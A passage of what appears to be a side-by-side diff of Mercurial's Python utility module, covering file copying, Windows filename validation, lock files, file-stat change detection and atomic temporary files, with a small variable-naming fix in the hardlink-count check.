1174 # copytime is ignored for symlinks, but in general copytime isn't needed
1175 # for them anyway
1175 # for them anyway
1176 else:
1176 else:
1177 try:
1177 try:
1178 shutil.copyfile(src, dest)
1178 shutil.copyfile(src, dest)
1179 if copystat:
1179 if copystat:
1180 # copystat also copies mode
1180 # copystat also copies mode
1181 shutil.copystat(src, dest)
1181 shutil.copystat(src, dest)
1182 else:
1182 else:
1183 shutil.copymode(src, dest)
1183 shutil.copymode(src, dest)
1184 if oldstat and oldstat.stat:
1184 if oldstat and oldstat.stat:
1185 newstat = filestat.frompath(dest)
1185 newstat = filestat.frompath(dest)
1186 if newstat.isambig(oldstat):
1186 if newstat.isambig(oldstat):
1187 # stat of copied file is ambiguous to original one
1187 # stat of copied file is ambiguous to original one
1188 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1188 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1189 os.utime(dest, (advanced, advanced))
1189 os.utime(dest, (advanced, advanced))
1190 except shutil.Error as inst:
1190 except shutil.Error as inst:
1191 raise Abort(str(inst))
1191 raise Abort(str(inst))
1192
1192
1193 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1193 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1194 """Copy a directory tree using hardlinks if possible."""
1194 """Copy a directory tree using hardlinks if possible."""
1195 num = 0
1195 num = 0
1196
1196
1197 gettopic = lambda: hardlink and _('linking') or _('copying')
1197 gettopic = lambda: hardlink and _('linking') or _('copying')
1198
1198
1199 if os.path.isdir(src):
1199 if os.path.isdir(src):
1200 if hardlink is None:
1200 if hardlink is None:
1201 hardlink = (os.stat(src).st_dev ==
1201 hardlink = (os.stat(src).st_dev ==
1202 os.stat(os.path.dirname(dst)).st_dev)
1202 os.stat(os.path.dirname(dst)).st_dev)
1203 topic = gettopic()
1203 topic = gettopic()
1204 os.mkdir(dst)
1204 os.mkdir(dst)
1205 for name, kind in listdir(src):
1205 for name, kind in listdir(src):
1206 srcname = os.path.join(src, name)
1206 srcname = os.path.join(src, name)
1207 dstname = os.path.join(dst, name)
1207 dstname = os.path.join(dst, name)
1208 def nprog(t, pos):
1208 def nprog(t, pos):
1209 if pos is not None:
1209 if pos is not None:
1210 return progress(t, pos + num)
1210 return progress(t, pos + num)
1211 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1211 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1212 num += n
1212 num += n
1213 else:
1213 else:
1214 if hardlink is None:
1214 if hardlink is None:
1215 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1215 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1216 os.stat(os.path.dirname(dst)).st_dev)
1216 os.stat(os.path.dirname(dst)).st_dev)
1217 topic = gettopic()
1217 topic = gettopic()
1218
1218
1219 if hardlink:
1219 if hardlink:
1220 try:
1220 try:
1221 oslink(src, dst)
1221 oslink(src, dst)
1222 except (IOError, OSError):
1222 except (IOError, OSError):
1223 hardlink = False
1223 hardlink = False
1224 shutil.copy(src, dst)
1224 shutil.copy(src, dst)
1225 else:
1225 else:
1226 shutil.copy(src, dst)
1226 shutil.copy(src, dst)
1227 num += 1
1227 num += 1
1228 progress(topic, num)
1228 progress(topic, num)
1229 progress(topic, None)
1229 progress(topic, None)
1230
1230
1231 return hardlink, num
1231 return hardlink, num
1232
1232
1233 _winreservednames = {
1233 _winreservednames = {
1234 'con', 'prn', 'aux', 'nul',
1234 'con', 'prn', 'aux', 'nul',
1235 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1235 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1236 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1236 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1237 }
1237 }
1238 _winreservedchars = ':*?"<>|'
1238 _winreservedchars = ':*?"<>|'
1239 def checkwinfilename(path):
1239 def checkwinfilename(path):
1240 r'''Check that the base-relative path is a valid filename on Windows.
1240 r'''Check that the base-relative path is a valid filename on Windows.
1241 Returns None if the path is ok, or a UI string describing the problem.
1241 Returns None if the path is ok, or a UI string describing the problem.
1242
1242
1243 >>> checkwinfilename("just/a/normal/path")
1243 >>> checkwinfilename("just/a/normal/path")
1244 >>> checkwinfilename("foo/bar/con.xml")
1244 >>> checkwinfilename("foo/bar/con.xml")
1245 "filename contains 'con', which is reserved on Windows"
1245 "filename contains 'con', which is reserved on Windows"
1246 >>> checkwinfilename("foo/con.xml/bar")
1246 >>> checkwinfilename("foo/con.xml/bar")
1247 "filename contains 'con', which is reserved on Windows"
1247 "filename contains 'con', which is reserved on Windows"
1248 >>> checkwinfilename("foo/bar/xml.con")
1248 >>> checkwinfilename("foo/bar/xml.con")
1249 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1249 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1250 "filename contains 'AUX', which is reserved on Windows"
1250 "filename contains 'AUX', which is reserved on Windows"
1251 >>> checkwinfilename("foo/bar/bla:.txt")
1251 >>> checkwinfilename("foo/bar/bla:.txt")
1252 "filename contains ':', which is reserved on Windows"
1252 "filename contains ':', which is reserved on Windows"
1253 >>> checkwinfilename("foo/bar/b\07la.txt")
1253 >>> checkwinfilename("foo/bar/b\07la.txt")
1254 "filename contains '\\x07', which is invalid on Windows"
1254 "filename contains '\\x07', which is invalid on Windows"
1255 >>> checkwinfilename("foo/bar/bla ")
1255 >>> checkwinfilename("foo/bar/bla ")
1256 "filename ends with ' ', which is not allowed on Windows"
1256 "filename ends with ' ', which is not allowed on Windows"
1257 >>> checkwinfilename("../bar")
1257 >>> checkwinfilename("../bar")
1258 >>> checkwinfilename("foo\\")
1258 >>> checkwinfilename("foo\\")
1259 "filename ends with '\\', which is invalid on Windows"
1259 "filename ends with '\\', which is invalid on Windows"
1260 >>> checkwinfilename("foo\\/bar")
1260 >>> checkwinfilename("foo\\/bar")
1261 "directory name ends with '\\', which is invalid on Windows"
1261 "directory name ends with '\\', which is invalid on Windows"
1262 '''
1262 '''
1263 if path.endswith('\\'):
1263 if path.endswith('\\'):
1264 return _("filename ends with '\\', which is invalid on Windows")
1264 return _("filename ends with '\\', which is invalid on Windows")
1265 if '\\/' in path:
1265 if '\\/' in path:
1266 return _("directory name ends with '\\', which is invalid on Windows")
1266 return _("directory name ends with '\\', which is invalid on Windows")
1267 for n in path.replace('\\', '/').split('/'):
1267 for n in path.replace('\\', '/').split('/'):
1268 if not n:
1268 if not n:
1269 continue
1269 continue
1270 for c in _filenamebytestr(n):
1270 for c in _filenamebytestr(n):
1271 if c in _winreservedchars:
1271 if c in _winreservedchars:
1272 return _("filename contains '%s', which is reserved "
1272 return _("filename contains '%s', which is reserved "
1273 "on Windows") % c
1273 "on Windows") % c
1274 if ord(c) <= 31:
1274 if ord(c) <= 31:
1275 return _("filename contains %r, which is invalid "
1275 return _("filename contains %r, which is invalid "
1276 "on Windows") % c
1276 "on Windows") % c
1277 base = n.split('.')[0]
1277 base = n.split('.')[0]
1278 if base and base.lower() in _winreservednames:
1278 if base and base.lower() in _winreservednames:
1279 return _("filename contains '%s', which is reserved "
1279 return _("filename contains '%s', which is reserved "
1280 "on Windows") % base
1280 "on Windows") % base
1281 t = n[-1]
1281 t = n[-1]
1282 if t in '. ' and n not in '..':
1282 if t in '. ' and n not in '..':
1283 return _("filename ends with '%s', which is not allowed "
1283 return _("filename ends with '%s', which is not allowed "
1284 "on Windows") % t
1284 "on Windows") % t
1285
1285
1286 if pycompat.osname == 'nt':
1286 if pycompat.osname == 'nt':
1287 checkosfilename = checkwinfilename
1287 checkosfilename = checkwinfilename
1288 timer = time.clock
1288 timer = time.clock
1289 else:
1289 else:
1290 checkosfilename = platform.checkosfilename
1290 checkosfilename = platform.checkosfilename
1291 timer = time.time
1291 timer = time.time
1292
1292
1293 if safehasattr(time, "perf_counter"):
1293 if safehasattr(time, "perf_counter"):
1294 timer = time.perf_counter
1294 timer = time.perf_counter
1295
1295
1296 def makelock(info, pathname):
1296 def makelock(info, pathname):
1297 try:
1297 try:
1298 return os.symlink(info, pathname)
1298 return os.symlink(info, pathname)
1299 except OSError as why:
1299 except OSError as why:
1300 if why.errno == errno.EEXIST:
1300 if why.errno == errno.EEXIST:
1301 raise
1301 raise
1302 except AttributeError: # no symlink in os
1302 except AttributeError: # no symlink in os
1303 pass
1303 pass
1304
1304
1305 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1305 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1306 os.write(ld, info)
1306 os.write(ld, info)
1307 os.close(ld)
1307 os.close(ld)
1308
1308
1309 def readlock(pathname):
1309 def readlock(pathname):
1310 try:
1310 try:
1311 return os.readlink(pathname)
1311 return os.readlink(pathname)
1312 except OSError as why:
1312 except OSError as why:
1313 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1313 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1314 raise
1314 raise
1315 except AttributeError: # no symlink in os
1315 except AttributeError: # no symlink in os
1316 pass
1316 pass
1317 fp = posixfile(pathname)
1317 fp = posixfile(pathname)
1318 r = fp.read()
1318 r = fp.read()
1319 fp.close()
1319 fp.close()
1320 return r
1320 return r
1321
1321
1322 def fstat(fp):
1322 def fstat(fp):
1323 '''stat file object that may not have fileno method.'''
1323 '''stat file object that may not have fileno method.'''
1324 try:
1324 try:
1325 return os.fstat(fp.fileno())
1325 return os.fstat(fp.fileno())
1326 except AttributeError:
1326 except AttributeError:
1327 return os.stat(fp.name)
1327 return os.stat(fp.name)
1328
1328
1329 # File system features
1329 # File system features
1330
1330
1331 def fscasesensitive(path):
1331 def fscasesensitive(path):
1332 """
1332 """
1333 Return true if the given path is on a case-sensitive filesystem
1333 Return true if the given path is on a case-sensitive filesystem
1334
1334
1335 Requires a path (like /foo/.hg) ending with a foldable final
1335 Requires a path (like /foo/.hg) ending with a foldable final
1336 directory component.
1336 directory component.
1337 """
1337 """
1338 s1 = os.lstat(path)
1338 s1 = os.lstat(path)
1339 d, b = os.path.split(path)
1339 d, b = os.path.split(path)
1340 b2 = b.upper()
1340 b2 = b.upper()
1341 if b == b2:
1341 if b == b2:
1342 b2 = b.lower()
1342 b2 = b.lower()
1343 if b == b2:
1343 if b == b2:
1344 return True # no evidence against case sensitivity
1344 return True # no evidence against case sensitivity
1345 p2 = os.path.join(d, b2)
1345 p2 = os.path.join(d, b2)
1346 try:
1346 try:
1347 s2 = os.lstat(p2)
1347 s2 = os.lstat(p2)
1348 if s2 == s1:
1348 if s2 == s1:
1349 return False
1349 return False
1350 return True
1350 return True
1351 except OSError:
1351 except OSError:
1352 return True
1352 return True
1353
1353
1354 try:
1354 try:
1355 import re2
1355 import re2
1356 _re2 = None
1356 _re2 = None
1357 except ImportError:
1357 except ImportError:
1358 _re2 = False
1358 _re2 = False
1359
1359
1360 class _re(object):
1360 class _re(object):
1361 def _checkre2(self):
1361 def _checkre2(self):
1362 global _re2
1362 global _re2
1363 try:
1363 try:
1364 # check if match works, see issue3964
1364 # check if match works, see issue3964
1365 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1365 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1366 except ImportError:
1366 except ImportError:
1367 _re2 = False
1367 _re2 = False
1368
1368
1369 def compile(self, pat, flags=0):
1369 def compile(self, pat, flags=0):
1370 '''Compile a regular expression, using re2 if possible
1370 '''Compile a regular expression, using re2 if possible
1371
1371
1372 For best performance, use only re2-compatible regexp features. The
1372 For best performance, use only re2-compatible regexp features. The
1373 only flags from the re module that are re2-compatible are
1373 only flags from the re module that are re2-compatible are
1374 IGNORECASE and MULTILINE.'''
1374 IGNORECASE and MULTILINE.'''
1375 if _re2 is None:
1375 if _re2 is None:
1376 self._checkre2()
1376 self._checkre2()
1377 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1377 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1378 if flags & remod.IGNORECASE:
1378 if flags & remod.IGNORECASE:
1379 pat = '(?i)' + pat
1379 pat = '(?i)' + pat
1380 if flags & remod.MULTILINE:
1380 if flags & remod.MULTILINE:
1381 pat = '(?m)' + pat
1381 pat = '(?m)' + pat
1382 try:
1382 try:
1383 return re2.compile(pat)
1383 return re2.compile(pat)
1384 except re2.error:
1384 except re2.error:
1385 pass
1385 pass
1386 return remod.compile(pat, flags)
1386 return remod.compile(pat, flags)
1387
1387
1388 @propertycache
1388 @propertycache
1389 def escape(self):
1389 def escape(self):
1390 '''Return the version of escape corresponding to self.compile.
1390 '''Return the version of escape corresponding to self.compile.
1391
1391
1392 This is imperfect because whether re2 or re is used for a particular
1392 This is imperfect because whether re2 or re is used for a particular
1393 function depends on the flags, etc, but it's the best we can do.
1393 function depends on the flags, etc, but it's the best we can do.
1394 '''
1394 '''
1395 global _re2
1395 global _re2
1396 if _re2 is None:
1396 if _re2 is None:
1397 self._checkre2()
1397 self._checkre2()
1398 if _re2:
1398 if _re2:
1399 return re2.escape
1399 return re2.escape
1400 else:
1400 else:
1401 return remod.escape
1401 return remod.escape
1402
1402
1403 re = _re()
1403 re = _re()
1404
1404
1405 _fspathcache = {}
1405 _fspathcache = {}
1406 def fspath(name, root):
1406 def fspath(name, root):
1407 '''Get name in the case stored in the filesystem
1407 '''Get name in the case stored in the filesystem
1408
1408
1409 The name should be relative to root, and be normcase-ed for efficiency.
1409 The name should be relative to root, and be normcase-ed for efficiency.
1410
1410
1411 Note that this function is unnecessary, and should not be
1411 Note that this function is unnecessary, and should not be
1412 called, for case-sensitive filesystems (simply because it's expensive).
1412 called, for case-sensitive filesystems (simply because it's expensive).
1413
1413
1414 The root should be normcase-ed, too.
1414 The root should be normcase-ed, too.
1415 '''
1415 '''
1416 def _makefspathcacheentry(dir):
1416 def _makefspathcacheentry(dir):
1417 return dict((normcase(n), n) for n in os.listdir(dir))
1417 return dict((normcase(n), n) for n in os.listdir(dir))
1418
1418
1419 seps = pycompat.ossep
1419 seps = pycompat.ossep
1420 if pycompat.osaltsep:
1420 if pycompat.osaltsep:
1421 seps = seps + pycompat.osaltsep
1421 seps = seps + pycompat.osaltsep
1422 # Protect backslashes. This gets silly very quickly.
1422 # Protect backslashes. This gets silly very quickly.
1423 seps.replace('\\','\\\\')
1423 seps.replace('\\','\\\\')
1424 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1424 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1425 dir = os.path.normpath(root)
1425 dir = os.path.normpath(root)
1426 result = []
1426 result = []
1427 for part, sep in pattern.findall(name):
1427 for part, sep in pattern.findall(name):
1428 if sep:
1428 if sep:
1429 result.append(sep)
1429 result.append(sep)
1430 continue
1430 continue
1431
1431
1432 if dir not in _fspathcache:
1432 if dir not in _fspathcache:
1433 _fspathcache[dir] = _makefspathcacheentry(dir)
1433 _fspathcache[dir] = _makefspathcacheentry(dir)
1434 contents = _fspathcache[dir]
1434 contents = _fspathcache[dir]
1435
1435
1436 found = contents.get(part)
1436 found = contents.get(part)
1437 if not found:
1437 if not found:
1438 # retry "once per directory" per "dirstate.walk" which
1438 # retry "once per directory" per "dirstate.walk" which
1439 # may take place for each patches of "hg qpush", for example
1439 # may take place for each patches of "hg qpush", for example
1440 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1440 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1441 found = contents.get(part)
1441 found = contents.get(part)
1442
1442
1443 result.append(found or part)
1443 result.append(found or part)
1444 dir = os.path.join(dir, part)
1444 dir = os.path.join(dir, part)
1445
1445
1446 return ''.join(result)
1446 return ''.join(result)
1447
1447
1448 def getfstype(dirpath):
1448 def getfstype(dirpath):
1449 '''Get the filesystem type name from a directory (best-effort)
1449 '''Get the filesystem type name from a directory (best-effort)
1450
1450
1451 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1451 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1452 '''
1452 '''
1453 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1453 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1454
1454
1455 def checknlink(testfile):
1455 def checknlink(testfile):
1456 '''check whether hardlink count reporting works properly'''
1456 '''check whether hardlink count reporting works properly'''
1457
1457
1458 # testfile may be open, so we need a separate file for checking to
1458 # testfile may be open, so we need a separate file for checking to
1459 # work around issue2543 (or testfile may get lost on Samba shares)
1459 # work around issue2543 (or testfile may get lost on Samba shares)
1460 f1, f2, fd = None, None, None
1460 f1, f2, fp = None, None, None
1461 try:
1461 try:
1462 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1462 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1463 suffix='1~', dir=os.path.dirname(testfile))
1463 suffix='1~', dir=os.path.dirname(testfile))
1464 os.close(fd)
1464 os.close(fd)
1465 fd = None
1466 f2 = '%s2~' % f1[:-2]
1465 f2 = '%s2~' % f1[:-2]
1467
1466
1468 oslink(f1, f2)
1467 oslink(f1, f2)
1469 # nlinks() may behave differently for files on Windows shares if
1468 # nlinks() may behave differently for files on Windows shares if
1470 # the file is open.
1469 # the file is open.
1471 fd = posixfile(f2)
1470 fp = posixfile(f2)
1472 return nlinks(f2) > 1
1471 return nlinks(f2) > 1
1473 except OSError:
1472 except OSError:
1474 return False
1473 return False
1475 finally:
1474 finally:
1476 if fd is not None:
1475 if fp is not None:
1477 fd.close()
1476 fp.close()
1478 for f in (f1, f2):
1477 for f in (f1, f2):
1479 try:
1478 try:
1480 if f is not None:
1479 if f is not None:
1481 os.unlink(f)
1480 os.unlink(f)
1482 except OSError:
1481 except OSError:
1483 pass
1482 pass
1484
1483
1485 def endswithsep(path):
1484 def endswithsep(path):
1486 '''Check path ends with os.sep or os.altsep.'''
1485 '''Check path ends with os.sep or os.altsep.'''
1487 return (path.endswith(pycompat.ossep)
1486 return (path.endswith(pycompat.ossep)
1488 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1487 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1489
1488
1490 def splitpath(path):
1489 def splitpath(path):
1491 '''Split path by os.sep.
1490 '''Split path by os.sep.
1492 Note that this function does not use os.altsep because this is
1491 Note that this function does not use os.altsep because this is
1493 an alternative of simple "xxx.split(os.sep)".
1492 an alternative of simple "xxx.split(os.sep)".
1494 It is recommended to use os.path.normpath() before using this
1493 It is recommended to use os.path.normpath() before using this
1495 function if need.'''
1494 function if need.'''
1496 return path.split(pycompat.ossep)
1495 return path.split(pycompat.ossep)
1497
1496
1498 def gui():
1497 def gui():
1499 '''Are we running in a GUI?'''
1498 '''Are we running in a GUI?'''
1500 if pycompat.sysplatform == 'darwin':
1499 if pycompat.sysplatform == 'darwin':
1501 if 'SSH_CONNECTION' in encoding.environ:
1500 if 'SSH_CONNECTION' in encoding.environ:
1502 # handle SSH access to a box where the user is logged in
1501 # handle SSH access to a box where the user is logged in
1503 return False
1502 return False
1504 elif getattr(osutil, 'isgui', None):
1503 elif getattr(osutil, 'isgui', None):
1505 # check if a CoreGraphics session is available
1504 # check if a CoreGraphics session is available
1506 return osutil.isgui()
1505 return osutil.isgui()
1507 else:
1506 else:
1508 # pure build; use a safe default
1507 # pure build; use a safe default
1509 return True
1508 return True
1510 else:
1509 else:
1511 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1510 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1512
1511
1513 def mktempcopy(name, emptyok=False, createmode=None):
1512 def mktempcopy(name, emptyok=False, createmode=None):
1514 """Create a temporary file with the same contents from name
1513 """Create a temporary file with the same contents from name
1515
1514
1516 The permission bits are copied from the original file.
1515 The permission bits are copied from the original file.
1517
1516
1518 If the temporary file is going to be truncated immediately, you
1517 If the temporary file is going to be truncated immediately, you
1519 can use emptyok=True as an optimization.
1518 can use emptyok=True as an optimization.
1520
1519
1521 Returns the name of the temporary file.
1520 Returns the name of the temporary file.
1522 """
1521 """
1523 d, fn = os.path.split(name)
1522 d, fn = os.path.split(name)
1524 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1523 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1525 os.close(fd)
1524 os.close(fd)
1526 # Temporary files are created with mode 0600, which is usually not
1525 # Temporary files are created with mode 0600, which is usually not
1527 # what we want. If the original file already exists, just copy
1526 # what we want. If the original file already exists, just copy
1528 # its mode. Otherwise, manually obey umask.
1527 # its mode. Otherwise, manually obey umask.
1529 copymode(name, temp, createmode)
1528 copymode(name, temp, createmode)
1530 if emptyok:
1529 if emptyok:
1531 return temp
1530 return temp
1532 try:
1531 try:
1533 try:
1532 try:
1534 ifp = posixfile(name, "rb")
1533 ifp = posixfile(name, "rb")
1535 except IOError as inst:
1534 except IOError as inst:
1536 if inst.errno == errno.ENOENT:
1535 if inst.errno == errno.ENOENT:
1537 return temp
1536 return temp
1538 if not getattr(inst, 'filename', None):
1537 if not getattr(inst, 'filename', None):
1539 inst.filename = name
1538 inst.filename = name
1540 raise
1539 raise
1541 ofp = posixfile(temp, "wb")
1540 ofp = posixfile(temp, "wb")
1542 for chunk in filechunkiter(ifp):
1541 for chunk in filechunkiter(ifp):
1543 ofp.write(chunk)
1542 ofp.write(chunk)
1544 ifp.close()
1543 ifp.close()
1545 ofp.close()
1544 ofp.close()
1546 except: # re-raises
1545 except: # re-raises
1547 try: os.unlink(temp)
1546 try: os.unlink(temp)
1548 except OSError: pass
1547 except OSError: pass
1549 raise
1548 raise
1550 return temp
1549 return temp
1551
1550
1552 class filestat(object):
1551 class filestat(object):
1553 """help to exactly detect change of a file
1552 """help to exactly detect change of a file
1554
1553
1555 'stat' attribute is result of 'os.stat()' if specified 'path'
1554 'stat' attribute is result of 'os.stat()' if specified 'path'
1556 exists. Otherwise, it is None. This can avoid preparative
1555 exists. Otherwise, it is None. This can avoid preparative
1557 'exists()' examination on client side of this class.
1556 'exists()' examination on client side of this class.
1558 """
1557 """
1559 def __init__(self, stat):
1558 def __init__(self, stat):
1560 self.stat = stat
1559 self.stat = stat
1561
1560
1562 @classmethod
1561 @classmethod
1563 def frompath(cls, path):
1562 def frompath(cls, path):
1564 try:
1563 try:
1565 stat = os.stat(path)
1564 stat = os.stat(path)
1566 except OSError as err:
1565 except OSError as err:
1567 if err.errno != errno.ENOENT:
1566 if err.errno != errno.ENOENT:
1568 raise
1567 raise
1569 stat = None
1568 stat = None
1570 return cls(stat)
1569 return cls(stat)
1571
1570
1572 @classmethod
1571 @classmethod
1573 def fromfp(cls, fp):
1572 def fromfp(cls, fp):
1574 stat = os.fstat(fp.fileno())
1573 stat = os.fstat(fp.fileno())
1575 return cls(stat)
1574 return cls(stat)
1576
1575
1577 __hash__ = object.__hash__
1576 __hash__ = object.__hash__
1578
1577
1579 def __eq__(self, old):
1578 def __eq__(self, old):
1580 try:
1579 try:
1581 # if ambiguity between stat of new and old file is
1580 # if ambiguity between stat of new and old file is
1582 # avoided, comparison of size, ctime and mtime is enough
1581 # avoided, comparison of size, ctime and mtime is enough
1583 # to exactly detect change of a file regardless of platform
1582 # to exactly detect change of a file regardless of platform
1584 return (self.stat.st_size == old.stat.st_size and
1583 return (self.stat.st_size == old.stat.st_size and
1585 self.stat.st_ctime == old.stat.st_ctime and
1584 self.stat.st_ctime == old.stat.st_ctime and
1586 self.stat.st_mtime == old.stat.st_mtime)
1585 self.stat.st_mtime == old.stat.st_mtime)
1587 except AttributeError:
1586 except AttributeError:
1588 pass
1587 pass
1589 try:
1588 try:
1590 return self.stat is None and old.stat is None
1589 return self.stat is None and old.stat is None
1591 except AttributeError:
1590 except AttributeError:
1592 return False
1591 return False
1593
1592
1594 def isambig(self, old):
1593 def isambig(self, old):
1595 """Examine whether new (= self) stat is ambiguous against old one
1594 """Examine whether new (= self) stat is ambiguous against old one
1596
1595
1597 "S[N]" below means stat of a file at N-th change:
1596 "S[N]" below means stat of a file at N-th change:
1598
1597
1599 - S[n-1].ctime < S[n].ctime: can detect change of a file
1598 - S[n-1].ctime < S[n].ctime: can detect change of a file
1600 - S[n-1].ctime == S[n].ctime
1599 - S[n-1].ctime == S[n].ctime
1601 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1600 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1602 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1601 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1603 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1602 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1604 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1603 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1605
1604
1606 Case (*2) above means that a file was changed twice or more at
1605 Case (*2) above means that a file was changed twice or more at
1607 same time in sec (= S[n-1].ctime), and comparison of timestamp
1606 same time in sec (= S[n-1].ctime), and comparison of timestamp
1608 is ambiguous.
1607 is ambiguous.
1609
1608
1610 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1609 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1611 timestamp is ambiguous".
1610 timestamp is ambiguous".
1612
1611
1613 But advancing mtime only in case (*2) doesn't work as
1612 But advancing mtime only in case (*2) doesn't work as
1614 expected, because naturally advanced S[n].mtime in case (*1)
1613 expected, because naturally advanced S[n].mtime in case (*1)
1615 might be equal to manually advanced S[n-1 or earlier].mtime.
1614 might be equal to manually advanced S[n-1 or earlier].mtime.
1616
1615
1617 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1616 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1618 treated as ambiguous regardless of mtime, to avoid overlooking
1617 treated as ambiguous regardless of mtime, to avoid overlooking
1619 by confliction between such mtime.
1618 by confliction between such mtime.
1620
1619
1621 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1620 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1622 S[n].mtime", even if size of a file isn't changed.
1621 S[n].mtime", even if size of a file isn't changed.
1623 """
1622 """
1624 try:
1623 try:
1625 return (self.stat.st_ctime == old.stat.st_ctime)
1624 return (self.stat.st_ctime == old.stat.st_ctime)
1626 except AttributeError:
1625 except AttributeError:
1627 return False
1626 return False
1628
1627
1629 def avoidambig(self, path, old):
1628 def avoidambig(self, path, old):
1630 """Change file stat of specified path to avoid ambiguity
1629 """Change file stat of specified path to avoid ambiguity
1631
1630
1632 'old' should be previous filestat of 'path'.
1631 'old' should be previous filestat of 'path'.
1633
1632
1634 This skips avoiding ambiguity, if a process doesn't have
1633 This skips avoiding ambiguity, if a process doesn't have
1635 appropriate privileges for 'path'. This returns False in this
1634 appropriate privileges for 'path'. This returns False in this
1636 case.
1635 case.
1637
1636
1638 Otherwise, this returns True, as "ambiguity is avoided".
1637 Otherwise, this returns True, as "ambiguity is avoided".
1639 """
1638 """
1640 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1639 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1641 try:
1640 try:
1642 os.utime(path, (advanced, advanced))
1641 os.utime(path, (advanced, advanced))
1643 except OSError as inst:
1642 except OSError as inst:
1644 if inst.errno == errno.EPERM:
1643 if inst.errno == errno.EPERM:
1645 # utime() on the file created by another user causes EPERM,
1644 # utime() on the file created by another user causes EPERM,
1646 # if a process doesn't have appropriate privileges
1645 # if a process doesn't have appropriate privileges
1647 return False
1646 return False
1648 raise
1647 raise
1649 return True
1648 return True
1650
1649
1651 def __ne__(self, other):
1650 def __ne__(self, other):
1652 return not self == other
1651 return not self == other
1653
1652
1654 class atomictempfile(object):
1653 class atomictempfile(object):
1655 '''writable file object that atomically updates a file
1654 '''writable file object that atomically updates a file
1656
1655
1657 All writes will go to a temporary copy of the original file. Call
1656 All writes will go to a temporary copy of the original file. Call
1658 close() when you are done writing, and atomictempfile will rename
1657 close() when you are done writing, and atomictempfile will rename
1659 the temporary copy to the original name, making the changes
1658 the temporary copy to the original name, making the changes
1660 visible. If the object is destroyed without being closed, all your
1659 visible. If the object is destroyed without being closed, all your
1661 writes are discarded.
1660 writes are discarded.
1662
1661
1663 checkambig argument of constructor is used with filestat, and is
1662 checkambig argument of constructor is used with filestat, and is
1664 useful only if target file is guarded by any lock (e.g. repo.lock
1663 useful only if target file is guarded by any lock (e.g. repo.lock
1665 or repo.wlock).
1664 or repo.wlock).
1666 '''
1665 '''
1667 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1666 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1668 self.__name = name # permanent name
1667 self.__name = name # permanent name
1669 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1668 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1670 createmode=createmode)
1669 createmode=createmode)
1671 self._fp = posixfile(self._tempname, mode)
1670 self._fp = posixfile(self._tempname, mode)
1672 self._checkambig = checkambig
1671 self._checkambig = checkambig
1673
1672
1674 # delegated methods
1673 # delegated methods
1675 self.read = self._fp.read
1674 self.read = self._fp.read
1676 self.write = self._fp.write
1675 self.write = self._fp.write
1677 self.seek = self._fp.seek
1676 self.seek = self._fp.seek
1678 self.tell = self._fp.tell
1677 self.tell = self._fp.tell
1679 self.fileno = self._fp.fileno
1678 self.fileno = self._fp.fileno
1680
1679
1681 def close(self):
1680 def close(self):
1682 if not self._fp.closed:
